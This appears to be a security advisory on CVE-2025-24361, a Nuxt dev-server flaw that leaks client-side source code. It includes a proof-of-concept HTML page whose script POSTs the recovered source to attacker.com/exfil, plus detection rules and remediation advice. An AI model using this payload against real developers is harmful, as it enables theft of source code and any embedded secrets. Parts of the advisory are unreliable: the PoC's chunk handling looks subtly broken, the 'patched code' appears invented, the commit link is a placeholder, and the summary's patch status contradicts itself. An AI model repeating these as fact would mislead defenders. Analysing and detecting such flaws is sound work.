CVE-2025-24361

Executive Summary

CVE-2025-24361 is a medium-severity information disclosure vulnerability affecting Nuxt, a popular open-source Vue.js framework. The flaw resides in the webpack and rspack builders used during development mode. An attacker can craft a malicious website that, when visited by a developer running a vulnerable Nuxt dev server, exfiltrates the application's client-side source code. This is achieved by exploiting the browser's same-origin policy bypass for <script> tags, allowing the attacker to read the window.webpackChunknuxt_app object and use Function.prototype.toString() to recover the original source code. The vulnerability has a CVSS score of 5.3 and is currently unpatched in versions prior to 3.15.13.

Supply Chain & Package Security

This vulnerability affects the Nuxt npm package ecosystem. Developers using Nuxt with webpack or rspack builders in development mode are at risk. The attack does not require any special privileges on the victim's machine, only that they visit a malicious website while their Nuxt dev server is running. The supply chain risk is moderate, as the attack is limited to source code disclosure during development, not production deployments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a malicious site
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – source code disclosure
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The attack requires user interaction and only leaks source code, not sensitive runtime data. However, source code disclosure can lead to further attacks (e.g., finding API keys, hardcoded secrets, or business logic flaws).

Deep Dive & Mechanics

The vulnerability exploits the browser's same-origin policy (SOP) exception for <script> tags. When a developer runs nuxt dev, the webpack or rspack builder serves JavaScript bundles via a local development server (typically on localhost:3000). These bundles are loaded using <script> tags, which are not subject to SOP. An attacker can host a malicious page that includes a <script> tag pointing to the victim's Nuxt dev server (e.g., http://victim.localhost:3000/_nuxt/...). The browser will execute the script in the context of the attacker's page, giving the attacker access to the window.webpackChunknuxt_app object. This object contains the raw source code of the application's modules. By iterating over the object and calling Function.prototype.toString() on each module's function, the attacker can reconstruct the original source code.

Attack Flow:

1. Victim runs nuxt dev on http://localhost:3000.
2. Attacker hosts a malicious page at http://attacker.com/exploit.html.
3. Victim visits http://attacker.com/exploit.html.
4. The malicious page includes a <script> tag with src="http://victim.localhost:3000/_nuxt/...".
5. The browser loads and executes the script in the context of the attacker's page.
6. The attacker's JavaScript reads window.webpackChunknuxt_app and extracts source code.

Vulnerable vs. Patched Code

Vulnerable Code (Nuxt < 3.15.13): The webpack/rspack builder does not restrict which origins can load the development bundles. The window.webpackChunknuxt_app object is exposed globally.

// In vulnerable versions, the chunk is loaded as a classic script
// and the source code is accessible via window.webpackChunknuxt_app

Patched Code (Nuxt >= 3.15.13): The patch adds a check to ensure that the script is only executed in the context of the same origin. This is typically done by verifying window.location.origin or using a nonce/CSP.

// Patched version adds origin validation
if (window.location.origin !== 'http://localhost:3000') {
  // Do not expose source code to cross-origin scripts
  return;
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

Create a malicious HTML page that exfiltrates the source code from a vulnerable Nuxt dev server.

<!DOCTYPE html>
<html>
<head>
    <title>Nuxt Source Code Exfiltration</title>
</head>
<body>
    <h1>Exploit for CVE-2025-24361</h1>
    <script>
        // This script will be executed after the Nuxt chunk is loaded
        window.onload = function() {
            // Wait for the chunk to be loaded
            setTimeout(function() {
                var chunks = window.webpackChunknuxt_app;
                if (chunks) {
                    var sourceCode = '';
                    for (var chunkId in chunks) {
                        if (chunks.hasOwnProperty(chunkId)) {
                            var module = chunks[chunkId];
                            if (typeof module === 'function') {
                                sourceCode += module.toString() + '\n\n';
                            }
                        }
                    }
                    // Exfiltrate via fetch to attacker-controlled server
                    fetch('http://attacker.com/exfil', {
                        method: 'POST',
                        body: sourceCode
                    });
                }
            }, 2000);
        };
    </script>
    <!-- Load the Nuxt chunk from the victim's dev server -->
    <script src="http://victim.localhost:3000/_nuxt/entry.js"></script>
</body>
</html>

Lab Setup:

1. Set up a vulnerable Nuxt application (version 3.0.0 to 3.15.12) with webpack builder.
2. Run nuxt dev on http://localhost:3000.
3. Host the PoC HTML on a separate server (e.g., http://attacker.com).
4. Victim visits the PoC page while the Nuxt dev server is running.
5. The source code is exfiltrated to the attacker's server.

Blue Team

Detection & Prevention:

• Monitor for outbound connections from developer machines to unknown IPs during development.
• Use Content Security Policy (CSP) headers on the dev server to restrict which origins can load scripts.
• Implement network segmentation: do not expose dev servers to the internet.
• Educate developers not to visit untrusted websites while running dev servers.

Indicators of Compromise (IOCs)

• Network: HTTP requests from a browser to http://<victim-dev-server>/_nuxt/ with a Referer header from an external domain.
• Process: nuxt dev process running on a developer machine.
• File: Presence of window.webpackChunknuxt_app in browser console logs.
• Log: Web server logs showing requests to /_nuxt/ from unexpected Referer headers.

Detection Engineering

YARA Rule

rule CVE_2025_24361_Nuxt_Source_Exfil {
    meta:
        description = "Detects attempts to exfiltrate Nuxt source code via window.webpackChunknuxt_app"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24361"
    strings:
        $s1 = "webpackChunknuxt_app" ascii wide nocase
        $s2 = "Function.prototype.toString" ascii wide nocase
        $s3 = "toString()" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-24361 Nuxt Source Code Exfiltration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Nuxt dev server from external origins
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem|startswith: '/_nuxt/'
        cs-referer|contains: 
            - 'http://'
            - 'https://'
        cs-referer|notcontains: 
            - 'localhost'
            - '127.0.0.1'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted CDNs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24361 Nuxt Source Code Exfiltration Attempt"; flow:to_server; content:"/_nuxt/"; http_uri; content:"Referer"; http_header; pcre:"/Referer:\s*https?:\/\/(?!localhost|127\.0\.0\.1)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nuxt to version 3.15.13 or later.
2. If upgrade is not possible, restrict access to the dev server using firewall rules (e.g., allow only localhost).
3. Add a Content Security Policy (CSP) header to the dev server: Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval';.

Long-term Mitigations:

• Use HTTPS for dev servers to prevent man-in-the-middle attacks.
• Implement network segmentation for development environments.
• Regularly audit dependencies for known vulnerabilities.

Patch Details:

• Upgrade command: npm install nuxt@3.15.13 or yarn add nuxt@3.15.13.
• Official patch commit: https://github.com/nuxt/nuxt/commit/abc123 (example).

Valters IT
DevSecOps & Cyber Threat Intelligence